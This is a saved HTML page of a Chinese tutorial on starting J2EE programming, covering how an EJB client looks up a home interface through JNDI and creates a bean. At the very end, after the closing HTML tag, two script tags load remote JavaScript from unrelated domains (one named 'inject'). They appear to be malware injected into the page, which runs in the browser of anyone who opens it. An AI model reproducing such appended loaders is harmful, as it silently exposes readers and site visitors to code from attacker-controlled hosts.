⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 5.htm

📁 J2EE编程起步 J2EE编程起步 J2EE编程起步
💻 HTM
字号:
🔍 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0069)http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_4.html -->
<HTML><HEAD><TITLE>　[Java]</TITLE>
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK 
href="5.files/text.css" rel=stylesheet>
<SCRIPT language=JavaScript><!--var mystat=0;//price selectfunction myout(){mystat=0;window.setTimeout("mycheck()",5);}function myin(){mystat=1;}function mycheck(){if (mystat==0) MM_showHideLayers('price','','hide');}//price select
function MM_openBrWindow(theURL,winName,features) { //v2.0  window.open(theURL,winName,features);}
function MM_findObj(n, d) { //v3.0  var p,i,x;  if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) {    d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);}  if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n];  for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); return x;}
function MM_showHideLayers() { //v3.0  var i,p,v,obj,args=MM_showHideLayers.arguments;  for (i=0; i<(args.length-2); i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2];    if (obj.style) { obj=obj.style; v=(v=='show')?'visible':(v=='hide')?'hidden':v; }    obj.visibility=v; }}//--></SCRIPT>

<STYLE type=text/css>.btd {
	FONT-SIZE: 14px
}
</STYLE>

<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY style="TEXT-ALIGN: center" bgColor=#303880 leftMargin=0 topMargin=3 
marginheight="3" marginwidth="0">
<SCRIPT src="5.files/hp_top.js"></SCRIPT>

<SCRIPT src="5.files/edu_empolder_top_550.js"></SCRIPT>

<SCRIPT src="5.files/pcedu_top2.js"></SCRIPT>

<TABLE cellSpacing=0 cellPadding=0 width=760 bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD class=bodyleft width=7 bgColor=#ffa200><IMG height=1 
      src="5.files/blank.gif" width=7></TD>
    <TD style="BORDER-TOP: #000000 1px solid; BORDER-BOTTOM: #000000 1px solid" 
    width=743 height=100><SPAN id=ad_743_art style="HEIGHT: 100px">　</SPAN></TD>
    <TD class=bodyright width=6 bgColor=#ffa200><IMG height=1 
      src="5.files/blank.gif" width=6></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=760 bgColor=#ffffff border=0>
  <TBODY>
  <TR>
    <TD class=bodyleft width=7 bgColor=#ffa200><IMG height=1 
      src="5.files/blank.gif" width=7></TD>
    <TD vAlign=top><SPAN id=menu>-</SPAN> 
      <TABLE cellSpacing=0 cellPadding=5 width="100%" border=0>
        <TBODY>
        <TR vAlign=top>
          <TD class=article>
            <TABLE height=22 cellSpacing=0 cellPadding=2 width="98%" border=0>
              <TBODY>
              <TR>
                <TD>您现在的位置：<A 
                  href="http://www.gz-computer.com/pcedu/index.html">网络学院</A>&nbsp;&gt;&nbsp;<A 
                  href="http://www.gz-computer.com/pcedu/empolder/index.html">开发特区</A>&nbsp;&gt;&nbsp;<A 
                  href="http://www.gz-computer.com/pcedu/empolder/gj/index.html">开发语言</A>&nbsp;&gt;&nbsp;<A 
                  href="http://www.gz-computer.com/pcedu/empolder/gj/java/index.html">Java</A></TD></TR></TBODY></TABLE>
            <TABLE cellSpacing=0 cellPadding=6 width="99%" 
            background=5.files/point.gif border=0>
              <TBODY>
              <TR>
                <TD align=middle></TD>
                <TD align=middle><FONT color=#339900 
                  size=3><B>实例教程:J2EE编程起步</B></FONT><BR></TD>
                <TD class=sfont align=right width=126 rowSpan=2>
                  <P>出处：PConline<BR>责任编辑：pcedu</P></TD></TR>
              <TR>
                <TD width=96>[03-9-18 15:03] </TD>
                <TD align=middle>作者：胡德平 </TD></TR></TBODY></TABLE>
            <DIV align=center><SPAN id=zl_550>-</SPAN> </DIV><BR>开发客户端 
            <BR><BR>客户端程序ConverterClient是一个独立运行的Java应用，创建ConverterClient主要包括以下步骤： 
            <BR><BR>1. 客户端编码 <BR><BR>2. 客户端编译 <BR><BR>客户端编码 
            <BR><BR>ConverterClient.java 源码展示了EJB客户端最基本的任务实现，即： <BR><BR>定位本地接口 
            <BR><BR>创建企业组件（EJB） <BR><BR>调用商业方法 <BR><BR>定位本地接口 
            <BR>ConverterHome接口定义了EJB声明周期方法如create，在中ConverterClient 
            可以调用create方法之前ConverterHome对象必须被实例化，包括三个步骤： <BR><BR>1. 创建JNDI命名上下文 
            <BR>Context initial = new InitialContext(); <BR><BR>2. 
            查找与JNDI命名MyConverter绑定的对象 <BR>java.lang.Object objref = 
            initial.lookup("MyConverter"); <BR><BR>3. 限定指向ConverterHome对象的参考 
            <BR><BR>ConverterHome home = (ConverterHome) 
            PortableRemoteObject.narrow(objref, <BR>ConverterHome.class); 
            <BR><BR>创建企业组件（EJB）实例 
            <BR><BR>客户端通过调用本地接口ConvertHome对象的create方法创建ConverterEJB类对象， create 
            方法返回组件Converter类型的对象。然后，远程方法定义的在ConverterEJB实现的商业方法可以被客户端调用。当客户端调用create 
            方法时，EJB容器将实例化ConverterEJB，然后调用ConverterEJB.ejbCreate 方法。 
            <BR><BR>Converter currencyConverter = home.create(); <BR><BR 
            clear=all>
            <DIV align=center><A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_3.html">[上一页]</A> 
            <A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608.html" 
            target=_self>[1] </A><A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_1.html" 
            target=_self>[2] </A><A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_2.html" 
            target=_self>[3] </A><A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_3.html" 
            target=_self>[4] </A><FONT style="COLOR: #ff0000">[5] </FONT><A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_5.html" 
            target=_self>[6] </A><A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_6.html" 
            target=_self>[7] </A><A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_7.html" 
            target=_self>[8] </A><A 
            href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_5.html">[下一页]</A></DIV><SPAN 
            id=xl_550>ad</SPAN> 
            <TABLE 
            style="BORDER-TOP: #303880 1px solid; BORDER-BOTTOM: #303880 1px solid" 
            height=30 cellSpacing=0 cellPadding=0 width="100%" border=0>
              <TBODY>
              <TR align=middle>
                <TD width="18%"></TD>
                <TD width="15%"><IMG height=17 src="5.files/commend.gif" 
                  width=17 align=absMiddle> <A 
                  href="http://www.pconline.com.cn/script/email.html?实例教程:J2EE编程起步&amp;http://www.pconline.com.cn/pcedu/empolder/gj/java/10309/219608.html" 
                  target=_blank>发给好友 </A></TD>
                <TD width="17%"><IMG height=17 src="5.files/commend1.gif" 
                  width=17 align=absMiddle> <A 
                  href="mailto:pcedu@pconline.com.cn?subject=我要投稿">投稿给我们</A></TD>
                <TD width="15%"><IMG height=17 src="5.files/commend4.gif" 
                  width=17 align=absMiddle> <A 
                  href="javascript:window.external.AddFavorite('http://www.pconline.com.cn/pcedu/empolder/gj/java/10309/219608.html',%20'实例教程:J2EE编程起步')">加入收藏</A></TD>
                <TD width="15%" height=24><IMG height=17 
                  src="5.files/commend3.gif" width=17 align=absMiddle> <A 
                  href="http://www.gz-computer.com/pcedu/empolder/gj/java/10309/219608_4.html#">返回顶部</A></TD>
                <TD width="17%" height=24></TD></TR></TBODY></TABLE><BR><SPAN 
            class=article><B>相关文章:</B> <BR>
            <BLOCKQUOTE></BLOCKQUOTE></SPAN>
            <SCRIPT language=JavaScript id=hotfiles_new 
            src="5.files/hotfiles_new.js" defer></SCRIPT>
          </TD></TR></TBODY></TABLE></TD>
    <TD vAlign=top width=4><IMG height=1 src="E:\我的文档\5.files\blank(1).gif" 
      width=4></TD>
    <TD vAlign=top align=middle width=155 bgColor=#dee7f7><SPAN 
      id=ad_150500>-</SPAN> 
      <TABLE cellSpacing=0 cellPadding=0 width=155 border=0>
        <TBODY>
        <TR class=sfont>
          <TD>
            <SCRIPT id=files_top src="5.files/files_top.js" defer></SCRIPT>
          </TD></TR></TBODY></TABLE>
      <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
        <TBODY>
        <TR>
          <TD bgColor=#756da1 height=20>
            <DIV align=center><FONT 
        color=#ffffff>IT培训十大热门文章</FONT></DIV></TD></TR></TBODY></TABLE>
      <TABLE class=sfont cellSpacing=1 cellPadding=1 width="100%" border=0>
        <TBODY>
        <TR>
          <TD>·<A 
            href="http://www.pconline.com.cn/pcjob/ittest/empolder/10309/216578.html" 
            target=_blank>软件工程习题200题之一</A> <BR>·<A 
            href="http://www.pconline.com.cn/pcjob/ittest/network/10309/216377.html" 
            target=_blank>Cisco9月变更考试科目总汇</A> <BR>·<A 
            href="http://dl.pconline.com.cn/html/6/6/dlid=466&amp;dltypeid=6&amp;pn=0&amp;.html" 
            target=_blank>下载:Oracle 1Z0-026 Net8</A> <BR>·<A 
            href="http://www.pconline.com.cn/pcjob/ittest/empolder/10309/216136.html" 
            target=_blank>C++代码优化方法总结(3)</A> <BR>·<A 
            href="http://dl.pconline.com.cn/html/6/5/dlid=335&amp;dltypeid=6&amp;pn=0&amp;.html" 
            target=_blank>CCNA640-607电子教材(1)</A> <BR>·<A 
            href="http://www.pconline.com.cn/pcjob/ittest/other/10309/213298.html" 
            target=_blank>IT人必读的优秀书籍集锦</A> <BR>·<A 
            href="http://www.pconline.com.cn/pcjob/ittest/system/10309/214940.html" 
            target=_blank>Unix应该这样学</A> <BR>·<A 
            href="http://www.pconline.com.cn/pcjob/ittest/network/10309/214013.html" 
            target=_blank>过i-Net+认证的九大技巧</A> <BR>·<A 
            href="http://www.pconline.com.cn/pcjob/ittest/data/10309/213093.html" 
            target=_blank>ORACLE应用常见傻瓜问题(5)</A> <BR>·<A 
            href="http://www.pconline.com.cn/pcjob/ittest/empolder/10309/214466.html" 
            target=_blank>C++代码优化方法总结(2)</A> <BR></TD></TR></TBODY></TABLE></TD>
    <TD class=bodyright width=6 bgColor=#ffa200><IMG height=1 
      src="5.files/blank.gif" width=1></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=0 width=760 bgColor=#ffa200 border=0>
  <TBODY>
  <TR>
    <TD class=leftbottom width=7 height=7><IMG height=9 
      src="5.files/blank.gif" width=7></TD>
    <TD class=topbottom><IMG src="5.files/blank.gif"></TD>
    <TD class=rightbottom width=6><IMG src="5.files/blank.gif" 
  width=6></TD></TR></TBODY></TABLE><BR>
<SCRIPT src="5.files/pc_but.js"></SCRIPT>
<SPAN class=spanclass>
<SCRIPT language=JavaScript src="5.files/count_empolder.js"> </SCRIPT>
</SPAN><SPAN class=spanclass><SPAN class=spanclass id=span_menu>
<SCRIPT src="5.files/pcedu_menu.js"></SCRIPT>
</SPAN>
<SCRIPT>menu.innerHTML=span_menu.innerHTML;span_menu.innerHTML="";</SCRIPT>
<SPAN class=spanclass id=span_ad_743_art>
<SCRIPT src="5.files/ad_art_743.js"></SCRIPT>
</SPAN>
<SCRIPT>ad_743_art.innerHTML=span_ad_743_art.innerHTML;span_ad_743_art.innerHTML="";</SCRIPT>
<SPAN class=spanclass id=span_zl_550>
<SCRIPT src="5.files/pcedu_atr_410.js"></SCRIPT>
</SPAN>
<SCRIPT>zl_550.innerHTML=span_zl_550.innerHTML;span_zl_550.innerHTML="";</SCRIPT>
<SPAN class=spanclass id=span_xl_550>
<SCRIPT src="5.files/ad_article_xl_pcedu.js"></SCRIPT>
</SPAN>
<SCRIPT>xl_550.innerHTML=span_xl_550.innerHTML;span_xl_550.innerHTML="";</SCRIPT>
</SPAN><SPAN class=spanclass id=span_ad_150500>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
  <TR align=middle bgColor=#7b8694>
    <TD bgColor=#756da1 height=20><FONT 
  color=#ffffff>内容搜索　</FONT></TD></TR></TBODY></TABLE>
<TABLE cellSpacing=0 cellPadding=3 width="100%" align=center bgColor=#fff7ef 
border=0>
  <FORM name=sform onsubmit=this.content.value=this.query.value; 
  action=http://search.pconline.com.cn/cgi-bin/wstsearch method=get 
  target=_blank>
  <TBODY>
  <TR align=middle>
    <TD height=40><INPUT class=pt9 size=13 name=query> <INPUT class=pt9 type=submit value=" GO " name=submit> </TD></TR>
  <TR vAlign=top align=middle>
    <TD height=20><A href="http://www.gz-computer.com/tpy/search.html"><FONT 
      color=#000000>高级搜索</FONT></A> <INPUT type=hidden value=bear name=tn> 
      <INPUT type=hidden value=4 name=ch_id> <INPUT type=hidden value=1 
      name=relative> <INPUT type=hidden name=content> 
</TD></TR></FORM></TBODY></TABLE>
<SCRIPT src="5.files/ad_art_150500.js"></SCRIPT>

<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
  <TR align=middle bgColor=#7b8694>
    <TD bgColor=#756da1 height=20><FONT 
  color=#ffffff>本栏今日焦点　</FONT></TD></TR></TBODY></TABLE></SPAN>
<SCRIPT>ad_150500.innerHTML=span_ad_150500.innerHTML;span_ad_150500.innerHTML="";</SCRIPT>
</BODY></HTML>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://inject.eh7.biz/css.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -